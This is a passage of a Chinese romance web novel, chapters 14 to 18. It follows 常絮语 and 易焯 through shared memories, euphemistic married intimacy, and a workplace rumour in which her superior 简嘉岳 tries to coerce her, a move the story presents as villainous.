两人慢慢的踏上一座露天的石板楼梯,窄窄的不好走,仅可一人通行。
常絮语跟在他身后,一路沉默。
绿漆木板门,走到这儿,他停了下来,熟练的掏出钥匙捣鼓一阵,门开了,溜出“吱呀吱呀”的声音。
屋子里很冷,陈设也十分简单,一个光亮不强的灯泡,一张陈旧的木桌,一张床,就这样。
常絮语抿唇,将步子迈进去。
“我去烧点水。”
易焯将外套脱下来,径直往那间窄小的厨房走,声音没什么情绪。
屋子里很冷,暖气形同虚设,少年衣衫单薄,身形修长。
常絮语乖乖坐在小板凳上看着他,他像电影镜头中被镶嵌在门框里的主角,慵懒随性,仿佛定格在某个画面里后,就会去到下一个片场。
而他依旧是他,身上游离着若有似无的淡然,一掀眼,就是另一个世界。
她以为2006年的冬天会想一部好电影一样永远烙印在记忆里——
他端着烧好的水壶走出来,倒了两杯水,坐在她对面。
“我能在那工作,是因为我自学了所有初高中的数学课程,参加了竞赛,得了一等奖,才会破格被录用,不过性质不太一样吗,是要和学生家长面谈过才行,收入不高,不过尚可温饱。”
话罢,他又掏出一个鼓鼓囊囊的信封递给她。
“这是什么?”
“房租。”少年淡声。
“絮语,帮我转交给我原先那位房东,她是个好人,不过不能仗着她人好就占便宜。”
他前段时间去过那个地方,房东搬回来了。
絮语想到薛阿姨,点了点头。
“好。”
等到杯子里的水变温,常絮语喝了一口,看着愈加缥缈的白雾,她缓慢开口:“我知道你住在哪里了,以后我可以经常来吗?”
他手上执杯的动作蓦地一顿。
半刻后,少年随意的笑了一声,却没有欣然的迹象,只是淡声回答她:“我这里有什么好来的。”
疑问句被他的语气化作陈述句,仿佛在陈述一件他早就已经接受的屈辱。
常絮语眨了眨眼睛,微微低头寻他的视线,对视上的那一瞬,她忽然笑了——
“因为在这里可以见到你啊,就我一个人可以。”
她不想去他兼职的那个机构,因为在那里,她不是唯一一个可以和他待在一起的人,他有学生和工作要兼顾,但在这里,她可以无时无刻的和他说话,看着他做事,像从前那样。
她眼睛亮亮的,像黑曜石,里面闪着光点和笑意。
几经流年,他们身上都有了成长的痕迹,十几岁的懵懂年纪,像初生的花儿一样,开的灿烂。
易焯看着她直达眼底的笑意,心中一动。
常絮语又自顾说了很多话,大多是怀念以前两个人在一起的日子,细水长流,明明没有几年,在她那里就像经过了很多道工序的糕点,样子精致又宝贵。
后面的,他已经听不见了,只能看见她的嘴巴一直在动。
末了,等她说的口干舌燥开始喝水的时候,他顿了顿,目光紧锁她,哑然问道:“絮语,如果有一天我彻底消失不见,你会忘记我吗?”
她将水喝干净,双肘杵在桌案上,手撑着脸,面颊上是微微的粉红。
好奇怪的问题。
除了生死,她怎么可能再也见不到他了呢?只要他们还共同生活在这颗蓝色星球上,就总有相遇的时候吧?
“当然不会啊。”
她眼睫弯弯,笑起来像月牙儿。
15. Chapter 15
回忆像是一盘录像带,在他脑海中重复放映。
一瞬间,那些只独留他一个人记得的场景迅捷的放大,最后消失不见。
太久远了,久到连他都在怀疑,记忆和现实是否真的能重叠。
可他不能告诉她。
男人闭了闭眼,敛神。
“絮语,你记不记得,你是2013届绘画油画方向系的‘系花’?”
他语气十分平静。
常絮语恍然,这事她倒是有印象,刚跟袁梓胥认识的时候,一个系里打算要评系花的漂亮姑娘正找袁梓胥麻烦,两个人不对付,袁梓胥就问能不能给她报名系花评选,还特别自信一定能把别人都比下去,不然她真的咽不下这口气。
常絮语心肠软,本身也不太关注网络上的事,就随她便了,之前看见过那个姑娘,长得像洋娃娃,时髦漂亮,她当时还说,不一定能帮到袁梓胥了。
袁梓胥当即就给她打气,说现在就流行她这样瘦瘦白白的清纯长相,跟朵灿烂的小百花似得,打扮不重要,毕竟有一张脸撑着!但因为是比赛评选,袁梓胥就问常絮语有没有能参选的照片。
想到这儿,常絮语记起来了。
当时她翻找手机相册,找到了姑姑带她出去玩的时候给她拍的照片,那是她唯一被好好打扮的样子,带着贝雷帽,穿着刚过膝的连衣裙,一头乌发垂在两肩,仿佛她自己就是一条亮丽的风景线,美的让人移不开眼。
拿到那张照片,袁梓胥开心坏了,盯着那张照片看了好久好久,夸了她半个月大美女。
毫无疑问,她那张照片在校园墙被传疯了,最后真的评上了系花。袁梓胥盯着“死对头”吃瘪的脸,一连笑了半个月。
易焯看她低眸沉思的样子,顿了顿。
常絮语回过神,目光缓慢地转向他。
有一瞬的尴尬。
她避开他的目光,抿了抿唇,耳尖红红的。
“我想起来了,是那张竞选照片......没想到你比我早那么多届,也能找到我的照片啊?”
她手指间情不自禁绕着几缕发丝,低头喃喃。
看来是她想多了。
可,他们真的从来没有见过吗?
她的眼神幽幽的看向他,带着点狐疑。
易焯“嗯”了声,想了想,缓声道:“我只比你晚一年毕业,雕塑是五年制。”
常絮语一愣。
她又对上他的目光,神色闪过一丝惊诧。
“什么?”
记得他比她大了四岁,就算雕塑是五年制,他怎么可能只比她晚一年毕业呢?
男人语气很平淡,像在平铺直叙一个不饶舌的故事——
“我,考大学那年出了点事,二十岁参加的艺考和高考,后来又复读了两年才考央美。走美术一次就考上确实不容易,絮语,你很厉害。”
常絮语睁大眼睛。
他竟然......
这也太不容易了。
“可你,不觉得吃亏吗?是一定要读央美?”她心里的困惑一下子冒了出来。
央美确实是最好的,很难很难,若非是有什么难言之隐一定要去,她再想不出什么理由。
他几年一定付出了很多很多。
心理、身体,所有的一切都会承受许多避免不了的痛苦。
只有走艺考的人才懂的那种痛苦。
如果真的是这样,她根本无法想象易焯到底是靠什么撑过来的。
闻言,他摇头,抬头看着雾蒙蒙的天,眯了眯眼。
“我不做让自己后悔的事。”
那年他毅然走向她走过的那条路,就像想过要回去,他要体验她经历过的伤痛和艰辛,历经千帆,再走到她身边。
事出有因,往事不可追昔,他和她都要向前看。
“读央美,是我一早计划好的,完全在我的人生轨迹里,所以絮语,我不后悔,也不觉得吃亏。”
他喉结滚动,神色停留在她身上,凝了凝。
常絮语看着他慢慢点了点头,似懂非懂的“嗯”了两声。
“嗯......那你也很厉害。”
她不知道说什么,只能这样轻声回复他。
闻言,男人敛神,过了两秒,忽的对她笑。
*
这两天过得很快,回到家,易焯躺在沙发上揉着眉心,不一会睡着了。
常絮语在厨房煮粥,将锅端出来的时候,她叫他没人应声,就走过来瞧瞧,发觉他已经睡得熟了。
他睡相很好,不乱动,呼吸平缓也不打鼾,常絮语每次翻身过来,看见他优越的侧颜,心情都会好不少。
她在他身边坐了一会,轻拍了拍他,男人睁开眼,眸中充斥着少许的红血丝。
看来是累了。
她抿唇,凑近他一点儿,缓声道:“起来吃点东西吧,吃完再睡。”
几缕带着清香的发丝搭在他肩头。
她知道他的饮食不是很规律,也没有忌口,工作忙了就随便糊弄过去,因此,他的肠胃不怎么好。
所以。两个人恰逢在家,她晚上都会煮点养胃的粥汤给他。
易焯坐起来,深吸一口气清醒清醒,看见面前一碗还冒着热气的白米粥。
客厅的灯光被她调成了温和的淡黄色,不刺眼,鼻息间萦绕着她身上若有似无的馨香,他的心忽然就平静了。
这也许就是散文里常说的,岁月静好。
他对她笑,继而端起碗,慢条斯理的喝粥。
“我得把上周学生的速写作业批改了,差不多两千张,等会儿你就先睡吧。”她起身道。
“上学喜欢最后交作业的学生当老师了。”
他扶额,慢慢打趣她。
常絮语闻言,脸一红。
“什么呀......”
她听不懂听不懂。
接着,脚上的动作加快走去书房,“彭”的一下磕上门。
男人摇了摇头,闷着笑了几声,嘴里的白米粥糯糯甜甜,像糖。
将锅碗刷干净,他起身走向书房,打算陪着她看会书再一起睡。
常絮语对待工作很认真,带着眼镜,见他进来也只是转了下头,就又埋下头去。
“现在重新开始带高二了?”
他将一瓶鲜榨果汁放到她面前,走到一旁坐下,问。
常絮语点了点头。
看她面色不太好,易焯顺着她的视线看去,瞥见了她这些新学生的速写作业的画面......
他皱眉,心情有些许复杂。
真是丑的千奇百态。
男人轻咳一声,移开眼,淡声道:“先别看了,歇会吧。”
“批不完了批不完了。”
她摇头,自顾喃喃。
易焯盯着那些画看了好一会,敛神,默默的给出一个结论:都丑。
“我觉得你大可不必这么用心,这些画没什么批阅的价值,距离艺考的画面太过遥远,二档下都进不去,不如统一给个鼓励分,还省事。”
常絮语顿了顿,转过头,看着他笑了一声:“我知道,不过对他们来说这是刚刚开始,在我心里自然还有一道新的衡量的标准,哪些有没有天赋,哪些用功肯学,都能在这些画面里体现出来,这也是我批作业最重要的点,不能因为我的疏忽,让一些蒙尘珍珠永远被埋没呀。”
她既然做这一行,成了这
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个班几十个学生的老师,就一定要好好负责,做好本职好托举他们的大学梦。
“我的学生都是最棒的,我肯定能把他们带出来,等着,明年我们班本科率肯定还是百分之百。”
她自顾冲他挤了挤眼,白皙的小脸上泛着两抹云霞,模样俏皮灵动。
易焯扬眉,看着她一双存有笑意的杏眼,默声弯了弯唇角。
这么多年,她忘记了那么多事,却依旧是个善良的、有自我想法的姑娘。
这也许就是她一直以来的梦想,很适合她,他也相信,她一定能做好。
翻开新的一页,日文标题赫然写着“がしんえいえん”,是“我心永恒”的意思。
他眸中亮了亮,喉结滚动。
我心永恒。
“我知道,你做事一向都认真,你真心对待这些学生,他们总不会辜负你。”
男人声音敦厚,带着点春风和煦似的温柔。
她应声,希望是这样吧。
约莫十点半,常絮语终于将所有画批改整理完了。
她伸了个懒腰,困得眼底满是泪花。
男人站起身,径直将她从椅子上打横抱起来。
一下子腾空而起,她反应过来,应激地双臂揽住他的颈脖。
“你干什么?”她警惕。
“抱你回去睡觉。”
男人一本正经道。
“我自己可以走...”
易焯不听,将她竖着翻过来,单手拖住她的大腿,另一只手箍着她一截腰肢。
“你坐了这么久,腿都麻了吧。”
这个姿势在他怀里,她的手无处安放,只能环住他的脖子,常絮语的耳根子红的要滴血。
她长长的乌发垂在肩头,如瀑青丝,散发着令他沉迷的熟悉的香。
常絮语伏在他身上,头埋在他的颈窝处,小脸滚烫,不敢看他,只能稍微移动一下身子,调整到舒服且不尴尬的位置。
她的小动作细细碎碎,每动一下就要蹭一蹭他。
磨得他呼吸一沉,将书房和卧室的距离缩短到几步之遥,将门“砰”的摔上。
卧室里的熏香是她买的玫瑰香,上次逛商场,鬼使神差的就在专柜拿了这么一瓶。现在她真的要后悔死了,这味道简直是他的兴奋剂,大把温热的吐息喷薄,烫的她心慌。
将人压在床上,男人眼底一片猩红,手上开始不耐烦的动作,常絮语咬唇,鬼都知道他要做什么。
在这些事上,常絮语很了解易焯,他不知道哪来的那么多精力,几乎隔两天就要一次,一次就得将所有法子用上,每次都像做完就不用看见第二天的太阳了一样,可劲折腾,任她怎么哭喊求饶都没用。
然后她就挠他。
她骂他是伪君子,表面看着成熟稳重,到了夜里就原形毕露!
易焯点点头,说随便她怎么想,就又将她扔进“水”里了。
每次结束,易焯的后.背就要添上许多新的抓痕,他说她像猫,拗不过就耍阴招,不讲道理。
她才懒得跟他争辩,每次照挠不误,谁让他把她弄得那么疼!她就该一脚把他踹下去,压着他打一顿,让他不敢再这样。
可惜,每次都只有他压着她的份。
这次干脆将她的双手箍在一起压在她发顶——
溃不成军的前一刻,她含着泪花,颤声:“还没洗澡......”
他眼底晦暗不明,喘着气将她睡裙上的扣子接下来,手背上暴着青筋,一滴汗砸下来,后面忍不了了,就将下面薄薄的衣料撕开,把她抱起来扛在肩上,往浴室走——
“一起洗。”
他声音暗哑,像头隐忍饥渴的雄狮。
16. Chapter 16
洗漱台前,所有的一切都在氤氲的水汽里朦朦胧胧,他攥着花洒,将她抱上台面,然后挤进去。
温热,温热,温热。
她躲不开,也推搡不懂,渐渐沦入他的节奏
曲线,交叠,抓挠……
常絮语咬上他的肩.头,指甲陷进去,含糊着骂他是流氓。
易焯“嘶”了声,皱眉,轻轻拍了拍她,薄唇亲着她的鼻尖,又含住她鼻梁上的水珠,示意她说的对。
她这辈子都无法直视这支花洒了…
然后是无尽的夜,浪潮翻涌,激起一层又一层的浪花,到凌晨忽然拍上岸来,少作停息,等岸上的海水晒干了,又重振旗鼓,礁石被摩挲的连连败下阵来。
后来两个人回到床上,黑夜里,他的手在床头柜里乱摸。
柜子里的几个小盒子空空如也。
他全都拿了出来,一个剩的也没有。
两个人大眼瞪小眼,常絮语羞死了,委屈的要哭。
他抿唇,飞速地跑下去,从储物柜里抬出一个箱子来。
看到箱子上的商标,常絮语无语凝噎。
她脸红的几近滴血,像只被惹急了要咬人的小兔子一样,憋着一口气,骂出了平生第一句脏话:“你是不是变态?”
这东西,哪有成箱囤的?!她欲哭无泪。
后来,她的话就淹没在他给的激情里了,细细碎碎,凌乱无度。
他在她耳边缓声回答她:“之前没想那么远,感觉用的时候太多,索性就多就买些,竟然真的用上了。”
他说的应该是要离婚这件事。
她的心骤然缩了一下,有点儿疼,好像只有紧紧抱着他才能缓解。
见她回应,他也就更肆无忌惮了。
“我明天还要上班呢…易焯…”不知道过了多久,她软着嗓子喊着他的大名,抓着他的头发,试图将这只狗从自己身上拽下来。
到处是红痕,这让她怎么去上班!她真的讨厌死他了。
易焯亲亲她的眼睛,闷闷的“嗯”了一声。
“你喜欢的那个牌子上新了,我给你买了全部系列的高领毛衣,在衣帽间,你明天就可以穿。”
她睁大眼睛看着他。
那个牌子的衣服一件起码四千块起步,她一个月的工资才八千块,一直都想买一件,却又不舍得,发了奖金后只给妈妈买了条那个牌子的羊绒围巾,七千块,买完,兜里的钱就所剩无几了,她咬咬牙,没再给自己买。
本想着下个月发了工资就买一件,她看上很久了,只是一直没有机会。
没想到他竟然都知道。
“你,你不要以为这样哄哄我就能为所欲为。”
她咬了咬唇,才不要这么轻易地领情,虽然听见他这么说很开心,可是他为什么只买高领毛衣?明明就是另有所图,为他的耍流氓找借口,才不是真心为了哄她。
易焯拧眉,继而笑了一声:“那我要怎么做?”
她拧巴,别扭,不会撒娇,也不会哄人,这点跟他有点相似。常絮语咬着唇,不看他,也不说话。
“我知道了,”他自顾点点头,“最后一次。”
“什么?”
他知道什么了?
她有点愣,自己还没说呢,他就知道了?
没等她反应过来,易焯压过来,将她翻了个面——
……
到最后,两个人喘着气,常絮语打他,原来最后一次是这个最后一次。他就是个流氓,问都不问她,老是吓唬她,她最讨厌他了。
“你都三十了,平常宋医生不提醒你注意点吗?”
她小声嘟囔。
易焯停下来,抱紧她自己这边靠,触碰着某处,面上没什么情绪,眯了眯眼:“看来你对我还不满意,那我更应该努力了。”
常絮语被他挑的脸红,不敢说话了,乖乖窝在他怀里。倒是还挺佩服他每次都能一本正经的耍流氓。
易焯看着她,勾了勾唇角。
她困得上下眼皮打战,再也没心思想其他事,好像下一秒就能睡着。
而下一秒,他低沉的嗓音慢慢在她耳边扬起:“絮语,下周你请假,我们去旅游?”
她这个工作太累了,虽然她喜欢,可考虑到她的身体原因,他还是心疼。
其实他原本想让她结婚后就辞职,毕竟他赚的钱肯定是够她花了。
不过前提是他爱她,所以他尊重她的事业,所以有事要跟她商量,不会擅作主张干涉她的工作。
常絮语没能力再思考了,只是本能回复他,带着一丝无奈的笑意:“你以为我这是自由职业啊,我带的都是要考大学的学生呢,怎么可以想请假就请假?”
闻言,易焯“嗯”了一声,又抱紧她一些,闭上眼睛:“睡吧。”
她安慰似得拍了拍他的背:“你也不用太担心我,我工作不累的,倒是你,工作量那么大,又是搞制图又是做雕塑的,平时要记得好好吃饭啊喝水啊的,我们这个年纪,也不能太放纵了。”
说的也没错,这个男人就是完全事业脑,只要有钱赚,就什么也不顾了,这样下去迟早要出事,幸亏她来到他身边了,还能再叮嘱一阵子,以后她真的要走了,他也不会很可怜。
毕竟马上就要立春了。
常絮语太累了,说话声越来越小,偎在他身边,一条腿搭在上面,很快就睡着了。
耳边响起平稳的呼吸声,他轻吻了吻她的发额。
会的,他会好好珍惜自己的身体,所以也请她一定要健健康康,余生都能平安,留在他身边久一些。
*
第二天,她穿上喜欢的高领毛衣,带上耳环,披上外套出门上班。
虽然衣服穿在身上,照着镜子,她比较开心,心里跟吃了蜜糖一样,可转眼想到是为什么要穿的,就生闷气。
于是,在易焯火热的注视中,常絮语没施舍给他任何一个眼神,像只美丽高贵的白天鹅,径直出了门。
都怪他,弄得她没睡好,今早两个黑眼圈,遮瑕都要比平时用的厚重不少。
她走后,易焯搅着杯子里的咖啡,往里面添了点牛奶,想到她刚才的样子,他笑了一声。
看来这些衣服买对了,她穿上好看,而且是她喜欢的,他已经想好了,要把那个牌子上新的所有衣服都买回来,她肯定愿意。昨天哄她的时候她没笑,他就在考虑这个事,是不是因为买的太少了。
想到这,他要出手机给助理打电话——
今天的天气格外的好,艳阳高照,情况万里,太阳像是个睡饱了的婴孩,高兴就出来露个头,模样逗得人哈哈笑。
到了机构,常絮语走在路中间,却察觉到一丝异样。所有人都靠边走,好像是刻意的她很远,再用一种“审视”的目光看着她,时不时低下头,又扬起,态度多了点吃瓜的意思。
她不太明白,扫视了一圈,眉心微微皱起。
正想着,她忽然被同班的助教黎萌拉走。
黎萌拽着她的手匆匆跑进石膏室,狭小昏暗的房间总算没有那么多让常絮语不舒服的目光,就是扑面而来的粉尘味有点呛人,常絮语捂着口鼻咳嗽几声,跑的太急,有点喘不上气。
黎萌也抚着胸口顺着气,她调整好了,首当其冲地握住常絮语的肩头,眨了眨眼,神色带着慌乱,道:“咱们这个机构在国内其实算很出名了,别的省还有分校区,我说絮语啊,你跟简老师平常也要低调一点啊,你不知道徐佳她这个人吗?虚伪又功利,平常没少在其他人跟前说过你的闲话,每次我都装听不见,毕竟你人品怎么样我都清楚,可是她这次被简老师开了肯定得对你怀恨在心啊!”
常絮语被她急匆匆的一通话说的懵了又懵。
“等等,小萌,你说的话,我有点听不太懂。”
她实话实说,愣愣的看着她。
什么简老师徐佳的?什么注意不注意的?她没做什么亏心事吧。
黎萌在脸上缓缓扣出一个问号,
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两个人你看看我我看看你。
“不是絮语,你家没网线吗?”
她意识到两人还不在一个频道上,赶忙掏出手机打开,再把常絮语拉近自己:“你自己看看就知道了。”
热搜“#某国内顶尖美术艺考教育机构副校长与手下女老师疑似恋情曝光#”
往下滑,热评第一:“我朋友在这家机构总校区上班,就因为这个副校长袒护那个女老师,就把我朋友开了,真是欺负老实打工人。”
再往下。
“听说那个女老师长得跟明星似得可好看了,人往高处走,有资源肯定就用呗,说不定是她为了往上走不择手段呢。”
“啊?那这种人也太可恨了,那个被开的老师真是冤枉啊,太欺负人了。”
“谁知道呢,这种人多了去了。”
......
还有更难听的,黎萌直接关了手机,皱着眉叹气:“这个帖主ip在咱们这儿,哼哼哼,是谁发的哦,好难猜啊!现在是网络大发展期,你说说你,跟简老师也不注意点。”
黎萌一副恨铁不成钢的样子看着她。
“注意什么?我跟简老师什么关系都没有啊。”
常絮语睁大眼睛。
为什么所有人都要这样想?
她脱口而出:“我都已经结婚了。”
话罢,她欲言又止,意识到自己可能说多了。
可能是昨天跟着易焯去厂里有感而发吧,他都能大大方方的承认,她也行。
这一下子的信息量实在太多,换黎萌瞪大了眼睛,惊呼:“你结婚了?!”
“嗯。”她有点不好意思,点了点头。
“啧啧啧,我说呢,难怪这些天看你气色红润,原来是已婚少女生活丰富多彩啊!”
黎萌笑。
“什么呀...”
“可你跟简老师这是怎么回事啊,怎么全校都在传你们俩是那种关系?就连我都信了。”
常絮语皱眉:“我真不知道。”
说了这么久,低头看一下时间,上课快来不及了。
“上午是我的速写课,你来给我助教,快走吧没时间了。”
两个人又焦急忙慌的去教室。
谁料刚推开教室门,一群学生蜂拥而至,推搡着两人,乱问:“老师你跟简老师是真的呀!?”
他们天天在教室“磕cp”,觉得像简老师这样沉稳成熟的男人和常老师这样的小白兔简直是天生一对,没想到许愿成功了,有人偷偷带手机来上课,吃到这个瓜后立即传开了。
常絮语听着叽叽喳喳的吵闹声,有一瞬头疼。
简嘉岳及时救场,拽过她的手腕轻轻将她拉在身边,柔声:“絮语,没事吧。”
常絮语面色浮上不悦,将他的手拨弄开,没吭声。
她稳了稳脑海中的思绪,努力将刚才不愉快的事情屏蔽在脑后,重新规整今天要做的事,想完之后,她高声冲学生喊着上课,又搬出画箱去范画的位置,说今天要作双人照片三十分钟的速写的示范。
看平常温温柔柔的常絮语忽然严肃起来,对他们的起哄一点也不回应,学生们也不是傻子,即刻就乖乖的搬着椅子跑到前面去看范画。
简嘉岳站在不远处,凝着她瘦削的背影,忽然挑了挑眉,神色闪过一丝阴鸷。
黎萌抱着包芒果干走过来。
简嘉岳拦住她,恢复了往日和煦的笑,缓声道:“絮语她芒果过敏,吃不了。”
“哇塞,简老师,这都知道?”黎萌微微惊异,不过想起刚才常絮语的话,她咋舌,“简老师,人家结婚了都,平常怎么看怎么是您对絮语有意思,唉可惜了。”
“我知道。”
他面上的笑依旧,只是看不出开心的意思,更多的则是僵持和矛盾,表面风平浪静,内里翻云覆雨,他盯着黎萌,视线不曾转缓,盯的黎萌有些脊背发凉。
“不过她马上要离婚了,跟我在一起,也不算委屈她吧?”
17. Chapter 17
黎萌有些愣,手里芒果干“啪”的掉在地上。
简嘉岳的目光缓缓偏移至别处,最后落在常絮语范画的背影。
他眯了眯眼,挑眉,右边的嘴角上勾了勾,仿佛在巡视自己领地的猎物一样。
就像袁梓胥说的,他明明是更能好好照顾她的人,他们在一起工作,认识那么久,她不过就是个小助教,而他三十岁就坐到了这么大的机构副校长的位子,绝对有能力,更成熟稳重,他们才是一路人,常絮语依靠他能少走许多弯路。
而且她不正是因为跟那个男人合不来才要离婚的吗?
那,她心里,会不会更欣赏他?每天朝夕相伴,他自问对她还是不错的。
想到这,他看着那个秀丽的背影,心里有种冲动如洪水一般想要冲出来,他攥紧拳头,喉结滚了滚:“你觉得呢?絮语如果离婚,会选择我吗?”
黎萌脑子有点转不回来,今天得到的信息量实在是太大了,一时间接受不了全部。
“关键是,她现在还没有离婚啊......”
她是觉着吧,简嘉岳说这种话有点难听了,不太尊重人,可她也不能多嘴,毕竟他是上司,他们都在他手里讨生活。
简嘉岳冷眼看她。
黎萌噤声,擦擦嘴,跑去抓看范画偷偷睡觉地学生了。
抓到好几个。
瞄一眼常絮语,一点反应都没有,依旧安安静静的范画,时不时讲上几句知识点。
其实高二的速写不用开这么早,只是昨天常絮语回去看作业,发现临摹了这么长时间,一点长进都没有,就想着先做个示范让大家一点一点渗透对速写的了解,不然盲目地画不会见什么大水花。
她工作能力确实是有的,这点,简嘉岳承认,他也就是喜欢她身上这股劲儿。
简嘉岳眯了眯眼,就这么盯着看了半小时,等到常絮语做完了范画站起身也没走。
他笑:“絮语,今年的奖金,不出意外应该还会是你的。”
常絮语冷冷看了他一眼,语气很轻,却没什么情绪:“看成绩了,是我的我自然会拿,不是我的,我也不会贪多,谢谢你简老师。”
话罢,她径直出了门,顿了顿脚步。
“简老师,麻烦你跟我出来一下,我们谈谈。”
简嘉岳挑眉,跟在她身后。
沿途吸引来几个看热闹的人。
到了杂物间门口,常絮语转过来,深吸了一口气,严肃道:“简老师,想必你也知道这件事了,造谣人是谁我真的不清楚,可既然对我们造成了影响,我希望机构能出面辟谣,还大家一个清白。”
她目光炯炯,眉头微微皱起,语气坚决。
有一瞬间,她真的感觉要撑不住了。
她只想好好工作,提升自己的能力,将学生带出来去看看世界。
仅此而已。
简嘉岳盯着她看了几秒,忽然笑了一声,自烟盒里掏出一根烟塞进嘴里。
“不介意我抽根烟吧?”
常絮语没吭声,往后站了站。
烟雾缭绕,呛的她想咳嗽。
简嘉岳没注意,兀自吐了一口烟,思绪飘回某个时刻,咬了咬后槽牙。
“絮语,上次你喝醉后,那个雕塑家过来接你,也是这样,在我面前斗着烟灰——”
他有点激动,看着她,眼神多了分狠戾:“絮语,我还从来没有被人看不起过。”
易焯的眼神他至今都还记得,像是看垃圾一样睥睨着他,偏又长得比他高。
那种眼神和态度都让他十分不舒服,他一直都是老师眼里的好苗子,同事眼中的好上司,优秀且具备实力,所以他不能接受从易焯眼神中的那种贬低和慢待。
尤其是,跟常絮语有关。
他冲常絮语吐了一口烟,眼底猩红。
常絮语再也忍不住咳嗽,咳得撕心裂肺,眼眶里蓄满了眼泪。
简嘉岳将烟“啪”的扔在地面上,脚踩了踩,哑声:“絮语,你该认清楚现实才行啊。”
“能走到今天这个地步,国内现有的艺考机构,大部分都仰仗着我们,你是做这一行的,不会不清楚人脉究竟有多重要,你如果要离开,那其他的机构收不收你,全凭我开不开口。”
他舒了口气,眸中渗出一丝冷意。
“你知道徐佳为什么会发这个帖子吗?”
她皱眉,忽然睁了睁眼。
原来他知道帖子是谁发的。
简嘉岳看着她的眼神,心里得到一丝慰藉。
真好,他终于说到她心坎上了,她终于为之动容,开始在意他接下来说的话了。
“是因为我提前打了招呼,那些机构都不敢再聘用她,”他笑,“所以她怀恨在心,走投无路,准备拉我一起下水。”
“可我毕竟是棵大树,不用我出手,那些机构也会出钱出力将舆论从我身上移开。”
至于舆论移在谁的身上,答案浅显意见。
常絮语张了张口,瞪着他,心里愤恨又震惊,却什么也说不出来。
他说的对,他是棵大树,没有人能轻易撼动。
可她不一样。
她孤立无援,没人脉没背景。
常絮语的眼眶里憋出一滴眼泪,又被她竭力忍了回去。
“所以,简老师是想报复我?”
以此做要挟,就是因为易焯当时羞辱了他?
她哑声质问。
简嘉岳凝着她,半刻后,勾了勾唇。
“怎么会?”
“絮语,我说过,我会追求你,怎么会舍得让你受委屈?正好你也要离婚了,前途和爱情,你自己选一个吧。”
“哦对了,我记得袁梓胥和我说过,他把你当做替身,就算你对他有感情,他对你有吗?”
常絮语往后退了一步。
面对男人带着点讥讽的诘问,无疑是根无形的刺深深扎进了她的心。
她和易焯之间真的有感情吗?
“你和他离婚,他也同意了吧?絮语,你也该清醒了,那种人怎么可能真的把你放在心上?真正爱一个人是不舍的将她放开的。”简嘉岳笑了一声。
“那你呢?你口口声声说要追求我,就是这样吗?威胁、恐吓?”
她直直的站立在他面前,像棵冉冉的劲松。
男人眯了眯眼。
现在,常絮语觉得眼前这个人早已面目全非,跟从前那个和蔼温柔的上司完全不一样。
从前她甚至还有些崇拜他,觉得自己运气好,跟在这么有能力的上司后面肯定能学会不少东西。
哪知一朝天崩地裂,他的真面目竟然是这样阴险狡诈的人。
“絮语,你从小生活在那样的家庭环境下,应该最清楚察言观色。”
片刻后,简嘉岳看着他,淡声道。
“你...什么意思。”她喉间干涩,移开眼,声音很低,像喃语。
简嘉岳瞥她一眼,没工夫陪她打哑谜。
“你母亲肯定不舍得你跟那个男人离婚吧?因为什么?钱?”他缓声,“我能给你更多。”
走到今天这个地步,他已经提前查清楚了,做事之前宜未雨而筹谋,他不会贸然来找她说这些,只是希望她能清楚,前途和未来,他照样可以给她,而且不比易焯要差。
想到易焯,一股焰火自心底冒了出来。
他上前,抬手,紧紧箍住她的手腕,神色阴鸷。
他会逼她认清现实的,究竟是要事业,还是要跟那个男人在一起,她自己选。
“絮语,你一
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向是个聪明的人,遇事谨慎,现在要怎么做不用我强调了吧?”
他尾调微微上扬,有些得意。
常絮语抿唇。
“我下午,请假。”
她努力平息自己的情绪,尽量吐字清晰的将一句话完整的说出来。
“嗯。”
他给她时间思考。
时逢末冬,春野在即,远望苍茫晴朗,白中泛着点红绿,轻轻的盛开。
她一个人走在石板路上,手里攥着根巧克力味的雪糕。
去哪里?
她还是不知道。
以前还能碰巧遇见姑姑在家,跟她讲一讲,可她现在工作结婚了,姑姑也不在身边,大家都很忙,她只能学会一个人慢慢消化。
网上的言论铺天盖地的向她砸来,她不敢翻看手机,也不敢阅读里面任何一个文字,不过想想也能知道到底都有些什么难听的言语。
眼不见为净。
她吃了一小口雪糕,没注意,冰到牙了,又酸又疼的感觉自神经传遍四肢百骸,她的眉心不自觉的紧锁在一起,末了,眼底浮出一抹泪意。
不知道是被冰的还是怎样。
她也有点不清楚自己现在究竟该想什么。
疼劲儿还没过去,她的眼泪挂在睫毛上要掉不掉,疼的她想跺一跺脚。
身边没人,她只好蹲下来,短暂的休息一会,让自己放空一会。
等到心情慢慢平静下来,她才继续慢慢地吃雪糕。
一边整理着自己的思绪。
简嘉岳说的没错,她这个样子,确实没有资本反驳他。
抬头,满目荒芜,枝头孤零零的挂着几分凋敝,恰如她现在的心情。
吃完了,她站起来继续往前走,不知不觉走到一个废弃的公园。
她忽然想起一些事,头有些痛。
眼前忽然浮现出好似不属于自己的回忆,眼前这篇废墟最早并不是这样,而是充满了欢声笑语,一群孩子追逐打闹,手里拿着吹泡泡的塑料玩具,跟着风跑,梦幻般的泡泡就这样围绕在他们身边,到处充满了欢声笑语,跑累了就在小摊上买个江米粽或者棉花糖,都是甜甜的味道。
记忆里,带着色素的小冰棍真的很好吃,还有江米粽、棉花糖。
记忆里,她好像懂得了分享的真谛,有了一个可以每天分享的、知心的伙伴。
可是那个人的脸,包括身形,她都不记得了。
甚至没有一点点印象。
是什么迫切她要忘掉吗?
她想找到那个人。
鼻尖一酸,她忽然很想哭,凉风习习,吹乱了鬓角的碎发。
一个人坐在生了锈的栏杆上,她记得,以前最不怕的事就是孤独。
现在,她忽然很想见到一个人。
电话打过去,那边的人隔了很久才回话。
“絮语,你在原地等我。”男人的声音有些暗哑,夹杂着不易察觉的怒意。
“你知道我在哪吗?”
她含着泪笑了一声,只当他是开玩笑,就算真的来找她,也要找好一会了。
这座城市太大了,随随便便就可以走散,走散容易,重聚难。
“我知道。”
她愣。
直到那边挂了电话,她也没能反应过来。
可不久后,易焯真的来了。
他穿着他们初见时的那件黑色夹克衫,依旧是短发,眉间的疤痕带着点凶悍。
他很高,她最喜欢看他站在光晕里的样子,向她走来,再对他微微笑。
她不顾一切跑过去,带着再也忍不住的泪,扑进他怀里。
男人心疼地拍着她的背,手背暴着青筋,嗓音哑而颤抖——
“对不起,我来晚了。”
18. Chapter 18
直到抱紧常絮语的那一刻,易焯才感觉到世界尚未崩塌。
今早给助理打电话,助理火急火燎的说了一通,还以为自家老板是来解决网上对老板娘的舆论,结果是来秀恩爱的,还要买什么衣服!?
